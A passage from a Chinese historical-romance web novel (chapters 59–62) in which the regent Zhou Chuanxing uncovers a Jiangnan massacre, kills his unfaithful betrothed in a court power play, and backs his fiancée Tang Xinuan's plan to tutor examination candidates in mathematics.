小倩越发不高兴：“是个侍郎还好，别是个坏蛋，等着王爷罚你吧。” 百合不服气，“凭什么连翘就能捡个侍郎，我捡这个，没准能做尚书呢，等着王爷怎么奖赏我……不对，要是能做尚书，就是姑娘捡的，做不了，你们都推我身上好了。” 几个人一路吵吵闹闹，楚衍晴现在是真的相信摄政王对表姐不错了。 马车一路闯进王府，进入后宅。 此时太师已经带王小姐走了。 周川行刚见了几个朝臣，忽然看见马车急匆匆进府，问陶罐，“怎么回事？” 陶罐也不清楚，“我去看看。” 很快返回来，“王爷，唐姑娘带回个男人。” 周川行心口一紧，小姑娘刚回了侯府，带回来的男人不是楚世子吧。 不对，楚世子去江南了。 “什么人？” 陶罐：“和个血葫芦似的，人还昏迷着，不知道什么人。” 周川行吩咐道：“你去请张太医过来，只说我旧伤复发。” 陶罐领命急忙去了。 周川行放下差事赶到后宅，命人把血葫芦搬到府里一处僻静的宅院，由专人照顾，待人清醒问清楚身份再来回他。 严禁唐兮暖私下接触。 唐兮暖本来也不想接触。 那人全身是血，她看一眼都害怕。 自从周川行过来，她便仔细观察着他的脸色。 没笑，也没发火，脸上的表情很平静，她分辨不出他是什么心情。 “二郎……” 楚衍晴给周川行行礼，“王爷安。” 周川行示意她免礼，随后问唐兮暖，“哪捡来的？” 百合刚才扮得一副好事全是唐兮暖所做，坏事她担着的大气凛然模样。 此刻一张嘴仿佛黏住一般，半个字都说不出来。 尤其注意到王爷一张脸阴森森的，她吓得大气都不敢出。 唐兮暖哪还敢指望她，“我们回来的路上，那人躺在地上浑身是血，救人一命不是胜造七级浮屠吗，我们就给带回来了。” 周川行也不是过来追究责任的。 “以后这种事告诉陶罐，让他去做。” “知道了，”唐兮暖乖乖巧巧地回道。 楚衍晴把表姐安全送达，趁着这次出来，正好把没办了的事情办妥。 “王爷，端王……” “找我做什么？” 楚衍晴话音没落，端王大摇大摆地出现在长廊尽头。 前几天两个人大吵一顿，这段时间还没说过话。 楚衍诺接了小公爷送去的聘礼，端王上门找楚衍晴，本意是想帮帮她，谁知道一言不合成了去看笑话的。 两个人吵得面红耳赤，赌咒发誓谁再搭理对方谁猪狗不如。 这几天，端王有意无意去侯府大门口偶遇，可惜都没见到人影。 又拉不下脸找人。 今天倒是见到人了。 楚衍晴美的明艳张扬，今天一袭粉色百蝶长裙，比前几天多了几分低眉顺眼。 越发勾人心神。 端王心口鼓胀。 既想端住架子，又担心把人吓跑，表现出来的行为就有些别扭。 楚衍晴朝唐兮暖摆摆手，随后步步生莲地迎着端王走过去。 堂堂端王，竟然生出几分心虚和手足无措之感。 他心跳如鼓，停止脚步，等着楚衍晴走近。 也不知道该说些什么，直愣愣盯着日思夜想的美人。 唐兮暖蹙眉瞧着表姐和端王两个人。 她以前迟钝，不懂感情，可最近接触的人多，看得书多，尤其和周川行的感情急速升温，也能瞧出些道道了。 “二郎，他们两个……” 她对对手指，“是不是那个……互相喜欢？” 周川行揉了揉她的小脑袋，“不错啊，这都被你看出来了。” 唐兮暖挺着胸脯，骄傲的小表情溢于言表，哼道：“什么事情能瞒过我一双慧眼。” 周川行就喜欢她这丰富的小表情。 生动活泼又调皮可爱。 “我们家姑娘越来越厉害了。” 唐兮暖眼看着表姐和端王一起走了，问道：“他们两个会成亲吗？” 周川行对此很有信心，“肯定会的。” 唐兮暖发出灵魂一问，“他们两个成亲，我们两个也成亲，那他们两个是喊你表姐夫还是喊我嫂子？” 嗤—— 周川行笑出了声。 他家姑娘怎么如此可爱。 唐兮暖被他笑臊了，“你笑什么，难道我的问题很幼稚？” 周川行认认真真回她：“我和老三是亲兄弟，你和三小姐只是表亲，论起来当然是我和老三亲，所以他们两个喊你嫂子。” 这个解释十分合理。 唐兮暖被说服了，“那好，我就让他喊嫂子吧。” 张大夫给受伤的血葫芦检查完，开了方子，顺便来看唐兮暖。 唐兮暖好不容易断了汤药，说什么都不肯让他检查。 “我已经好了，不用检查了，不用检查了。” 周川行把人抓过来，哄道：“来都来了，就让他查查，要不俸禄都白给他发了。” 唐兮暖心疼银子，迟疑着将手腕放到桌子上。 “张太医，先说好，我已经好了哦，不要再给我开药了。” 一向威严的张太医，面对如此乖巧的小姑娘，不自觉温柔下来。 “放心吧，能不开药，我肯定不给姑娘开药。” 唐兮暖的身体确实调养的不错。 张太医检查完，确定不用开药，不过给她开了一张食补的方子。 “姑娘底子亏欠太多，不喜欢吃药就算了，吃食上注意一些，对姑娘大有裨益。” 只要不吃药就行，唐兮暖拧巴的小脸终于浮现出笑意。 周川行也松了口气。 每天看着小姑娘一碗一碗往下喝那些苦药，比让他自己喝还难以忍受。 索性，小姑娘恢复得不错。 第60章 第二天,唐兮暖救回来的血葫芦醒了，陶罐问清楚身份。 竟然是从江南逃出来的“叛逆”。 陶罐不敢耽搁，赶紧向周川行汇报。 原本贪污案死的十几个人就是冤杀,左丞相赶过去，倒是很快查明了真相。 可他收了一百万白银，指鹿为马,将原本的苦主直接打成叛逆。 所有苦主及其亲眷全被抓捕还不到一百人，为了凑够造反人数，监狱的犯人斩杀一部分，又屠了两个村子。 只有少数几个人逃出来，不过都被追杀灭口。 百合发现的血葫芦，竟然是唯一活口。 刚醒后见到陶罐还不敢说，直到陶罐亮明身份。 表明他是摄政王的侍卫。 如今皇上病重，朝政全由摄政王暂代，如果他都不能还江南冤死的两千多百姓一个公道，世上哪还有说理的地方。 血葫芦只能抱着最后一丝希望说出真相。 周川行早看两个丞相不顺眼了。 竟然敢制造出一件两千人的冤假错案,他倒是好手段。 当即写了一封信，交给陶罐,命他送到江南驻军守将韩梁手中。 命韩梁将江南从上到下所有官员包括左丞相全部抓捕,秘密押送京城，如有反抗,就地斩杀。 并附上他的信物。 周川行手握大周朝四十万大军的军权。 如果不是想好好整顿朝政，希望大周朝长治久安,极力克制杀性，以德服人，早把那些和他对着干的混蛋屠戮殆尽。 一年多没杀人，满朝文武大概都忘了他杀人不眨眼的样子。 今天就从左丞相开始。 正愁没有理由收拾左丞相,可巧小姑娘就给他送来了人证。 傍晚，周川行带了两件小玩意去找唐兮暖。 唐兮暖还不知道江南出了那么大的事。 她今天读了一天的书，又想到前天遇到农民大叔的事。 趁着周川行过来，把她的想法说给他听。 “二郎，那个农民大叔虽然没给我原本，可他让我抄录，我觉得这就是大功劳，应该给他赏赐。” 周川行很快便明白了她的用意，“我命人去做t。” 唐兮暖又说：“民间有这样的办法，朝廷却不知道，我想着，朝廷是不是可以向全国百姓发出招募，但凡献上有用的办法，朝廷都要给其奖赏，然后由朝廷分门别类整理出来，看看适不适用，如果适用就发往各地，让官府带领农民去做。” 周川行被小姑娘一番言辞惊到，“你这个想法好啊，因为信息闭塞，很多有用的办法传达不出去，可如果朝廷征集，并整理出来，就可以大范围落实…… 暖暖，你可真是太贴心了。 我怎么就想不到这些办法。” 唐兮暖被人夸奖，骄傲的小尾巴又翘起来了。 不过她还不忘安慰她的二郎，“二郎，你不是想不到，你是事情太多，没有时间思考，我整天没事做，当然可以随心所欲了。” 周川行满心满眼都是自己的小姑娘，“想要什么赏赐？” 唐兮暖一时想不到，“先记着，等我一起跟你要。” 周川行笑了：“小心攒太多，我兑现不了。” 唐兮暖才不怕，“那我要你肉偿。” 周川行：“……你都读了些什么书，这种词都懂？” 唐兮暖凑过去亲他，“我不但懂，我还会做。” 周川行把人抱进怀里，盯着她红润的唇瓣，热潮犹如涟漪一般快速向周身荡漾，喉咙发紧，他努力克制还是忍不住亲上去。 他的小姑娘可真柔软，怎么都亲不够。 哪个成年男子面对喜欢的姑娘不会失控。 周川行现在就想把人吃干抹净。 可他们两人还没成亲，如果他真做出什么出格的举动，和楚衍诺那个禽兽又有何异。 尽管很难克制，他还是及时停住。 皇后这边动作很快，周川行见过她妹妹没表现出什么不满，便递消息给太师府准备亲事。 亲王成婚，皇后亲自召见了礼部，一定要将婚礼办得风光体面，热闹。 礼部尚书耳聋眼花，皇后说三句他听不懂一句，颤颤巍巍迷迷瞪瞪盯着皇后回：“睿……睿……睿王的亲事老臣早就准备妥当了，皇后放……放……放心……” 皇后气得心塞，哪来这么多老糊涂，他爹这个太师怎么当的，这种老家伙也能留在朝堂。 “是秦王，秦王……”皇后身边的大姑姑扯着脖子喊。 礼部尚书还有些不高兴，“老臣知道是亲王，睿王就是亲王。” 心里忍不住吐槽，睿王是亲王他还能不知道。 大宫女又道：“摄政王，是摄政王啊。” 礼部尚书越发不高兴：“老臣知道摄政王是秦王，这次成亲的是亲王，老臣不会弄错的。” 大宫女满脸绝望的看向皇后。 皇后无奈摆摆手，“让他下去吧，给太师府送消息，让太师去一趟礼部。” 周川行和太师之女的婚事一定下来，可急坏了睿王。 他派人蹲守好几天，寒兮的影子都没见到，五十万两银子更是一个银疙瘩都没找回来。 如今又要眼睁睁的看着二哥和太师联姻。 如果说周川行原本就有七成把握登上皇位，做了太师的姑爷，至少变成九成。 他说什么都不能眼睁睁看着二哥娶了王家女儿。 忽然想起魏敏昭献给他的计策。 他先做了王家姑爷再说。 唐兮暖这两天没出门，读书画画学女工。 每天都过得十分充实。 她一个人做女工还不算，让紫苏、连翘、黄芪和百合跟着她一起做。 四个小姑娘都是舞刀弄剑的，哪里捏得起绣花针。 五个人围着茶桌忙乎一天，手不知道扎了多少下，没做出一件成品。 唐兮暖气得扔了做到一半的小荷包，“好难做，不做了。” 这是她打算送给二郎的礼物，可惜她手太笨，怎么都做不好。 百合算是几个人中做的最好的，“唐姑娘，你看我的，把我的送给你。” 唐兮暖不要：“我要送给二郎，送你做的算怎么回事。” 百合拍错马屁，脸颊火烧火燎的。 连翘嘲笑她：“你以为王爷谁的东西都收呢。” 几个姑娘吵吵闹闹，后宅好不热闹。 周川行过来的时候看到的就是这种场面。 他俯身捡起唐兮暖做了一半的小荷包，“这不很好看吗，怎么还扔了。” 唐兮暖垮着小脸，怏怏不乐道：“这么丑的东西怎么好戴出去。” 荷包确实有些丑，周川行不介意，“我贴身放在怀里，一样的。” 唐兮暖高兴了，“那我把它做完。” 周川行这会过来是特意感谢她的，“你那天捡的血葫芦，对我大有用处，想要什么奖赏？” 唐兮暖不好居功，她原本是十分嫌弃血葫芦的。 “都是百合的功劳。” 百合更不敢居功，“我也是为了讨好姑娘才把人捡回来的，没想到对王爷真有用处。” 周川行大方道：“都赏。” 连翘不高兴了。 她去侯府没找到唐姑娘要的东西，还被楚世子抓了。 如今百合又帮了王爷大忙，她眼瞅着要失宠。 不行，她得再去侯府，把砚台找到。 连翘离开王府，再次闯进侯府寻找砚台。 …… 周川行并没在唐兮暖这边待多久，陶罐有事禀报，他便去了小勤政殿。 还以为睿王能抻一阵子，没想到他如此沉不住气，这么快和王家小姐发生了关系。 这就怪不得他心狠手辣一锅端了。 陶罐还有一件事汇报，“王爷，属下最近遇到一件怪事，调查梁家小公爷罪证的时候，至少遇到三波人，都在查他。” 周川行皱眉：“都什么人？” 陶罐：“一波应该是三殿下，一波是楚三小姐，还有一波……好像是楚世子的人。” 周川行稍一琢磨就明白怎么回事了。 楚衍诺还是不想亲妹妹嫁给与畜生无异的小公爷。 这是明着逼迫妹妹，暗中又做好准备，随时打算悔婚。 “这事你不用管了。” 陶罐知道端王喜欢楚衍晴，试探道：“那这事要不要告诉楚三小姐和三殿下？” “不用，”周川行才不会帮楚衍诺立好兄长人设。 话题重新回到王小姐身上，“你通知王小姐明天未时末来王府，再告诉魏公公让他未时初进宫，把这个消息告诉皇后，就说本王发现了王小姐和睿王的奸情，另外王小姐进府后请楚三小姐过来，一定要皇后亲眼看见楚三小姐出现在王府。” 总觉得还有事情被他忽略了，“对了，管好嘴，别让唐姑娘知道。” 陶罐绞尽脑汁也想不明白王爷到底要做什么。 可他能从王爷的眼里看出来，王爷要大开杀戒了。 只是不知道被杀的是谁。 周川行确实要大开杀戒，至于杀谁，不是睿王就是太师，就看他们谁倒霉了。 唐兮暖对王府笼罩的杀气一无所知。 今天回了一趟侯府，险些把楚衍诺的书房翻过来，也没找到祖父留给她的砚台。 至于卧室，她不太方便过去。 毕竟表哥已经成亲，她不能在表嫂的眼皮底下去过去翻找。 虽然砚台没找到，却收到孙卿兆的消息，已经把培养人才的计划做好，邀请她明天过去商议。 她其实一刻都等不了，想到能帮二郎培养很多很多人才，她就控制不住激动。 不过孙卿兆如今是朝廷大员了，有自己的差事，不能随时随地候着她。 少不得等到明天。 第二天一大早，匆匆吃过早饭唐兮暖便换好男装，带着小倩、黄芪和百合去了孙府。 此刻，唐兮暖和周川行这对小未婚夫妻的行为，和谐的有些诡异。 唐兮暖这个被表哥嫌弃的小傻子，正在努力为朝廷长久计劳心劳力。 而权倾朝野的摄政王，却在为两人以及好弟弟的亲事谋划。 下午，按照周川行定好的时间，王太师的小女儿王小姐来到王府，由陶罐带着走进周川行指定好的凉亭。 “王小姐，您稍等，王爷马上就到。” 他退出凉亭，派人通知楚衍晴立刻来王府。 此时魏公公已经见到了皇后。 王小姐作为太师最小的女儿，从小嚣张跋扈，横行无忌，骄纵任性。 睿王并不是她第一个男人。 这些年，她“宠幸”的男子无数。 未婚夫被野猪撞死就是因为发现她养男宠要退婚，被她做局害死。 王太师疼爱女儿，自然睁一只眼闭一只眼。 周川行早听过王小姐的风评，才懒得管这些乱七八糟的事。 只要别影响到他就行。 可王小姐竟然妄想怀着睿王的孩子嫁给他，一手控制他们兄弟两个，可就给他找到了杀人的借口。 他处理完朝政，算着时间差不多了，闲庭信步来到凉亭。 吩咐陶罐，“上香。” 他坐到石凳上，t漫不经心地看向王小姐，“本王耐心有限，只给你一炷香的时间，睿王是怎么强迫你的，详详细细写下来。” 60-70 第61章 王小姐和睿王两情相悦,哪有谁强迫谁。 周川行这一刀冲的是睿王。 如果王小姐足够聪明，就该知道，她要做摄政王的一把刀。 此刻,王爷命她砍谁，她就乖乖砍谁，尚能保住小命。 可她被太师惯坏了,一母同胞的亲姐姐又是当今皇后。 她才不怕一个王爷。 “王爷，臣女听不懂您在说什么。” 她表现的不卑不亢。 周川行就怕她又哭又闹跪地求饶，他反倒不好下手。 “王姑娘，本王不会重复第二次，希望你是个聪明的。” 王小姐可不觉得自己蠢笨。 她就笃定摄政王奈何她不得。 “王爷，你不想娶我没关系，和睿王在一起，是我自己愿意的，你不用拿我威胁他。” 如果不是太师和皇后做主，她更倾向彬彬有礼的睿王。 摄政王位高权重,可他十三岁上阵杀敌，全身上下都透着一股糙味。 哪如在京城长大的睿王懂女儿家的心思。 周川行眸光淡然,把玩着手里的折扇。 除了自家小姑娘,他从来没和任何女人独处过这么长时间。 “王姑娘，既然确定不说实话,那不如聊聊临终感言。” 王小姐皱眉：“你要杀了我？” 她大大方方坐到周川行对面，一副高高在上的模样瞧着对方,“我爹可是当朝太师，我姐是当今皇后，你敢动我？” 周川行漫不经心地盯着燃尽的烟灰，“不如王姑娘等这炷香点完,看看还有没有命跟本王说话。” 王小姐笃定周川行不敢杀她。 “不用吓唬我，本小姐可不是吓大的。” 一炷香的时间说快不快，说慢也不慢。 此刻楚衍晴和皇后都在尽快赶往王府。 皇后知道周川行邀请了表妹，很自然的以为两人互生情愫，要在成亲前多见见。 可魏公公急急忙忙进宫告诉她：“不好了，娘娘，王小姐和睿王的事情被王爷发现了，您快点过去瞧瞧吧。” 皇后心里一慌，想到二弟那嗜杀成性的性子，片刻不敢耽搁，当即坐上轿撵出了皇宫。 同时还命人通知太师，立刻赶到王府。 楚衍晴比皇后早到一步。 她被人带到小勤政殿外边的花园，一眼看见王小姐躺在地上，脖子处一条极深的刀口，还在流着鲜血。 而周川行一脸肃然站在不远处，正慢条斯理地擦拭着刀锋。 “王爷……” 楚衍晴吓得双腿发软，周川行注意到她，收起长剑大步流星走过去把人扶进长廊，“不看就不怕了。” 他挡住王小姐的尸体，尽量放低身份，柔声道。 皇后急匆匆赶过来，看见的就是周川行在温柔的抚慰楚三小姐。 而她的亲妹妹躺在地上，已经气绝身亡。 “小妹——” “小妹——” “小妹——” 皇后跌跌撞撞赶过去，喊得声嘶力竭。 太师一共生了五儿七女，只有她和最小的妹妹是一母同胞。 感情好过所有兄弟姐妹。 她整天盼着妹妹找个好婆家，一直费心费力，奈何妹妹太过挑剔，谁家公子都看不上。 好不容易和摄政王定下婚事，将来稳坐中宫。 婚事定下来还不到三天，小妹就惨死在摄政王府。 昨天还见过小妹，鲜活靓丽充满生气，今天躺在地上，鲜血喷溅，一动不动。 皇后两腿发软，仿佛历经千山万水才赶到小妹身边，看着已经没了气息的妹妹一时间都不知道从哪里抱起。 “来人，快叫太医，快叫太医——” “快叫太医啊——” “小妹——” 皇后想把人抱起来，可又怕碰疼了她，只能眼睁睁看着小妹的生命一点一点流逝。 目光落在脖颈的血口处，小妹是被人一刀毙命。 除了她那个杀人不眨眼的二叔又能是谁。 她转头看向周川行，眼里充满仇视。 “周川行，你今天不给本宫一个交代，本宫就去找皇上做主。” 周川行安抚完楚衍晴，示意陶罐将桌上的“罪状”拿给皇后。 都是王小姐和睿王的私情，从相识到发生关系，互送信物。 “皇嫂，不是你们王家欺人太甚，看我从边关回来不了解京城，把这样一个女子塞给我，还想混淆我秦王府血脉，逼着我动手？” 皇后了解自己的妹妹，确实养了不少男宠。 刚开始听说的时候她劝过妹妹。 可妹妹阳奉阴违。 没想到酿成今日之祸。 “她可是我亲妹妹，纵使她有什么错，你也不该把人杀了，你眼里还有我这个皇嫂吗！” 周川行双眸一敛，眼里浮现几分杀气。 连站在旁边的楚衍晴都感觉到了。 周川行威严又含有几分克制道：“我不是没给她机会，只要她把睿王怎么强迫她的事情交代清楚，我可以既往不咎，该给的王妃之位，我绝对不会反悔，可她呢，声称自己和睿王两情相悦，别说本王，就是普通百姓，有几个男人能忍？ 皇嫂，不是看在你的面子，今天就不止是一刀毙命这么简单。” 两人正争吵着，太师颤颤巍巍被人扶着赶了过来，看见女儿惨死，心里恨意陡生，恨不得生吞活剥了周川行。 “王爷，老夫的女儿到底犯了什么错，还请王爷给个说法。” 周川行没有说法：“太师，本王念你年纪大了，不忍深加处苛责，可你教女无方，竟然如此羞辱本王，从今天开始，回家养老去吧。” 这是直接罢了太师的官。 太师一个激灵回过神来，慌忙跪地求饶：“王爷，都是老夫的错，是老夫教女无方，还求王爷宽恕。” 周川行是手握四十万大军的权臣。 不想杀伐过重，才一直纵容至今。 可太师一党逼人太甚。 但凡王小姐今天不作死，状告睿王强迫她，他今天的刀锋对准的都是睿王。 太师是臣，关键时刻得低头。 可皇后是皇上的正妻，是周川行的亲嫂子。 只要她不犯错，周川行无论如何都不能拿她怎么样。 “父亲，”她亲自扶起太师，刚才光顾着悲伤，这会才注意到楚衍晴一直站在周川行身边。 她以前就听说过周川行喜欢楚三小姐。 还曾经敲打过周川行，他和楚三小姐不合适。 今天他虐杀小妹，真是因为小妹行为不检还是惹到楚三小姐不痛快了？ “周川行，楚三小姐怎么在这？你和她到底什么关系？你诬赖小妹不清白，你就清白？” 她双眼猩红，充满杀气。 誓要给小妹讨个说法。 周川行早就等她这句话，“我和楚三小姐清清白白。” 皇后怎么相信，“周川行，别以为我不知道，你就是看上楚三小姐，想娶她，我不同意你假意答应，其实你早就想杀死小妹了，你敢说不是？” 周川行不想辩驳，“你怎么想是你的事，王姑娘不自爱和睿王发生关系，你敢说这是我诬赖她的清白？要不要找个嬷嬷鉴定一下王姑娘的清白还在不在！你敢吗？” 皇后当然不敢，“放肆，小妹人都去了，你还要侮辱她，我们王家的姑娘就这么惹你厌恶！” “来人，把楚三小姐抓起来，给本宫就地打死！” 皇后怒不可遏，她不能拿周川行怎么样，可杀死楚衍晴就像捏死一只蚂蚁那么简单。 楚衍晴没想到事情会往这个方向发展。 明知道摄政王是找她来挡灾的，可她偏偏不敢说出实情。 就算她说出来，皇后也不会相信。 周川行怎么可能让皇后的人碰到楚衍晴，他一步迈过去，挡在楚衍晴面前，面容阴鸷一双眼仿佛猛兽一般，盯着皇后，“我看谁敢！” 皇后的人跃跃欲试，可谁不是拖家带口。 惹怒王爷，家人的命还要不要。 皇后恨得咬牙切齿，却又无能为力。 今天这个哑巴亏，她注定得吞进肚子里。 端王就是这个时候赶过来的。 他刚才去衙门办差，听说王府出事，急急忙忙赶过来。 看见楚衍晴竟然在现场。 不用想也知道他二哥把人拉过来挡灾，心里大为恼火。 他大步流星赶过去，一把扯过楚衍晴，第一次对这个二哥冷脸：“二哥，你把她叫过来干什么！” 周川行正憋着一肚子火：“楚三小姐，站到我身后来。” 楚衍晴已经完全晕了，她摸不透周川行到底要做什么。 按之前两个人的约定，他似乎要成全自己和端王。 杀死王小姐只是一个开始，他不光要光明正大的娶表姐，还要让她和端王在一起。 那接下来该怎么走？ 端王似乎不明白这里边的计较。 那她就应该听周川行的。 这个时候站到他t身后去。 楚衍晴稍一迟疑，小心翼翼地走到周川行身后。 端王生气了，“楚衍晴，你什么意思？你听二哥的话，不听我的？我才是喜欢你的人。” 楚衍晴担心端王说错话，皱眉提醒他：“你给我闭嘴。” 端王憋着一肚子火，张了张嘴，还是闭上了。 皇后顾不得几个人的小动作，她满心都是已经气绝的小妹。 周川行开始赶客了，“太师府如果不愿意，我王府可以帮忙置办一副薄棺算是我送王姑娘一程。” “不用，”皇后命人抬走小妹。 今天拿不下楚衍晴，早晚要楚衍晴给小妹偿命。 魏公公急急忙忙追上去，“王小姐慢走，老奴送王小姐一程。” 待太师和皇后全都离开王府后，端王没忍住朝周川行发了火。 “二哥，你到底怎么想的，为什么把衍晴喊过来。” 周川行一副看傻子的情形瞥他一眼，“活该你娶不上媳妇。” 端王想不明白，“这和我娶媳妇什么关系，皇后肯定不会放过衍晴，没准今天就得派杀手过去。” 周川行凉凉道：“所以，你连个女人都保护不了？” 端王想不出除了派暗卫还能怎么样，“她住侯府，我又不能时刻守在身边。” 周川行：“那你就尽早把人娶回去。” 端王：“这怎么可能，别说她现在有婚约，皇后也不可能同意。” 周川行：“不如你现在跟皇后提一下，没准她会同意呢。” 端王怎么都不相信，皇后会同意他娶楚家姑娘。 楚衍晴悄悄提醒他：“要不你明天进宫和皇后提一下。” 楚衍晴相信周川行已经算计好了。 这个时候是她和端王在一起的最佳时机。 正好她已经把梁家小公爷的犯罪证据交到大理寺，不出意外，今天就能抓人了。 端王犹豫着，“那我明天进宫试试。” 他忽然握住楚衍晴的手，“如果不成，可不是我不努力，你得给我机会。” 当着周川行的面拉拉扯扯，楚衍晴害臊，她使劲把人推开，“你干什么呢！” 端王还是不放心，“二哥，这是最后一次你利用衍晴，再有一次，我非跟你翻脸！” 周川行一副翻脸你能拿我怎么着的神色，“我等你翻脸。” 端王：“……” 他和二哥无话可说，“衍晴，你今天别回侯府了，你跟我回王府，我保护你。” 楚衍晴好笑道：“你的端王府都被渗透成筛子了，我跟你去才更危险呢。” 第62章 随着乡试临近,已经有不少参加乡试的学子进京。 孙卿兆终于制定出一份完美的人才培养方案。 今年新增了算学科目，很多学子都没学过，家里富裕的现请算学师父,一时研究不透，应付考试肯定比大部分学子占优势。 家庭清贫的可就麻烦了。 朝廷选才，当然是想选些能帮朝廷做事,能为百姓做事的人才。 光会做几篇文章，为朝廷歌功颂德，为某个人歌功颂德，但凡会拍马屁的都能写出几篇。 孙卿兆把现在的学子情况一一分析给唐兮暖。 “咱们大周朝十几年没开科举，今年参加乡试的学子，全都是各地推荐来的，这中间有多少猫腻，不用想也知道。 而朝廷忽然增加一门算学，大家措手不及，只怕大部分人都要交白卷。 我们要做的就是,从现在开始，将那些没钱又真心求学的学子召集起来,给他们恶补一段时间,有天赋的，经过点拨自然会有进步。” 孙卿兆每一个字,唐兮暖都认认真真听进去了。 “那些点拨不了的呢？” 孙卿兆也无能为力，“时间紧任务重,要么等下次再考，要么放弃，这也是没办法的事，朝廷求才若渴,这次科举，必须选出一些能人异士，否则……” 唐兮暖当然知道后果。 二郎每天忙的脚不沾地，一个好觉都睡不成。 不就是因为缺少人才吗。 只要有了人，让他们各司其职，二郎就能轻松了。 “现在怎么办，我们直接开个书院吗？” 孙卿兆沉吟道：“这倒是不急，书院的地址我已经选好，明天就命人布置，现在的麻烦是，怎么才能把这些学子聚集到一起，听你讲课。” 唐兮暖不以为然：“直接告诉他们一声不行？” 孙卿兆摇头：“只怕不行，你年纪轻，这些学子可都是经过层层选拔推举来的，要么真有才学，要么有关系有背景，各个眼高于顶，怎么可能服你。 书院一旦开始，没有人来，那你的名声就坏了，所以咱们一开始就要让他们求着你，只有他们求着你，才会真心实意听你讲课。” 唐兮暖没想到事情竟然如此麻烦。 “那怎么办，他们怎么可能求我讲课。” 孙卿兆早有谋划，“这你就别担心了，我有办法。” 唐兮暖拧巴的小脸很快浮出笑意，“什么办法？” 孙卿兆一字一顿：“造势。” 唐兮暖：“造势？” 孙卿兆：“对，造势，一会儿我去找李貔貅，让她帮你准备悬赏比赛，在彩月楼连续三天举行挑战赛，谁能赢了你，赏金一千两，只要来到京城的学子肯定会赶过去凑热闹，只要他们参加比赛并被打败，到时候还不求你拜你为师。” 唐兮暖不得不服，“孙大哥，你可真聪明。” 不过她还有疑问，“一千两黄金可就是一万两银子，我好像没那么多银子。” 孙卿兆更没有了，“让王爷出。” 唐兮暖算了算王府的支出，“万一他也拿不出来呢。” 孙卿兆：“我保你肯定不会输，如果你输了，咱们的书院可就办不了了。” 唐兮暖还有问题，“可是我没教过别人读书，万一我不会教呢。” 这倒是个问题。 唐兮暖是算学天才，她懂的东西，不一定会用普通人能理解的言语表达出来。 就算表达出来了，那些学子就能接受吗？ “这个问题，就得你琢磨琢磨了，要不你先找几个人在家里试验一下。” 唐兮暖想不到更好的办法，“好，我回去试试。” 孙卿兆操碎了心，“我也帮你想着。” 唐兮暖一心一意要为朝廷选才，周川行处心积虑要早点把小姑娘娶回家。 两个人都在努力做着自己认为紧迫的事情。 唐兮暖中午在孙卿兆家里吃的，下午又和李貔貅聊了一下比赛规则，傍晚才回到王府。 至于王府里发生杀人事件，早已经处理干净。 唐兮暖一点消息都没收到。 她在后宅换好衣服，赶到小勤政殿找周川行，把孙卿兆的计划转述给他。 “二郎，你觉得好不好？” 周川行知道孙卿兆聪明，心眼子比筛子都多。 用对地方，确实事半功倍。 “还不错。” 唐兮暖想找魏公公把府里所有识字的婢女和小厮都聚到一起。 周川行不认为这是个好办法。 “他们识字也只是识字而已，你给他们讲算学无异于对牛弹琴。” 唐兮暖忧心道：“那怎么办？” 周川行沉吟片刻，“这样，让老三来，再叫上姚麟，还有你表姐和孙卿兆，让他们帮你。” 这四个人倒是合适的人选，关键时刻，还能给她提些意见。 “二郎，我发现你比孙卿兆就笨那么一点点。” 周川行忍不住吃味，“比他笨？” 唐兮暖憋着坏笑，点头，“嗯，就一点点。” 周川行这次是真生气了，“那你为什么喜欢我？” 这个问题，唐兮暖还没想过，“可能是……你能把我抱起来放到肩膀上。” “原来你喜欢这个，”周川行忽然起身，“满足你。” 他像第一次抱小姑娘一样，把人举起来放到肩膀上，武将出身的人底子好力气大。 唐兮暖坐到他肩膀上稳稳当当。 “二郎，”唐兮暖晃动着两腿，“你好棒，你现在比他聪明多了。” “你这张小嘴，”周川行仰头望着她，一脸都是拿她没办法的神色，“倒是会说。” 眼看着科举在即，片刻耽误不得。 当天晚上，周川行便把孙卿兆、姚麟、楚衍晴和端王召到了摄政王府。 此时唐兮暖已经换回男装，又变成那个风度翩翩金尊玉贵的小公子。 会议正式开始的时候，还多了一个魏敏昭。 别人都是受到摄政王邀请而来，只有魏敏昭是硬要来的。 给的理由是求摄政王给他安排差事。 周川行命人把大周朝所有科举考过的算学题目都找过来，交给唐兮暖。 由她带着t大家一起分析。 确定这次开办学院教授的课程。 大周朝打了几十年的仗，十几年没开过科举，人才凋零的严重。 没办法一下恢复鼎盛时期的算学成就，只能从简单的开始。 开科取士不是一蹴而就。 周川行有心里准备。 只希望这次科举能选出些有用的人才，否则大周朝就算没有外敌入侵，也会从内部腐朽瓦解。 好不容易稳定的江山，他誓要拖着这块烂透的庞然大物走上正轨。 哪怕用掉他所有的力气，甚至生命。 此事除了他、唐兮暖和孙卿兆知晓，其他人还不清楚。 待人到齐，他命孙卿兆给大家做出解释。 孙卿兆只对寒兮的时候才有足够的耐心，对其他人多少有些怠慢，简而言之，“今天召集大家过来，为的是辅助寒兮把书院办起来，确定讲课内容以及讲课方式。” 楚衍晴是了解表姐能力的，也知道她获得彩月楼聪明人大赛冠军。 更知道她和摄政王私定了终生。 可她没想到，表姐要开书院，并给所有参加今秋科举的学子授课。 这真是那个生活在侯府不懂人情世故甚至连自理能力都没有的表姐？ 端王倒是知道二哥要重用唐兮暖，可也没想到二哥会把科举大事交给一个涉世未深的小姑娘。 不过二哥做主的事情，他一向没有异议。 姚麟、魏敏昭从始至终一无所知。 不过姚麟和寒兮一同参加过比赛，对她的才学十分钦佩。 有意外，却也没有过分意外。 听孙卿兆解释完，他起身给寒兮行礼，“以后有劳寒公子多多赐教。” 魏敏昭原本十分轻视唐兮暖的为人，自从见过她骗走睿王五十万两银子便不敢小觑。 分明是个隐藏的大佬，扮猪吃老虎而已。 他也起身客气地行礼，“请寒公子多多赐教。” 唐兮暖第一次面对这么郑重的场景，有些不知所措。 周川行自然要为自己的小姑娘坐镇，“今天晚上，我们七人正式成立一个研学小组，寒兮任组长，具体事宜由孙卿兆负责。 之后孙卿兆和姚麟你们两个暂时把朝廷里的差事放一放，重心挪到科举上。 朝里那些老家伙指望不上，只能由我们年轻一代扛起这份艰巨的任务。 你们不负我，我不负百姓，这万里江山自然不会负我们所有人。 另外重申一点，今晚之事，但凡传出一个字，无论是谁，杀无赦。” 周川行话音一落，大家立刻表态，“王爷放心，我等绝对不会透露出一个字，誓以性命保证。” 开口的是孙卿兆、姚麟、魏敏昭和楚衍晴。 端王是周川行的亲兄弟，不用周川行交代，他也不会随便外传。 而唐兮暖没开口，完全是因为她跟不上大家的进度。 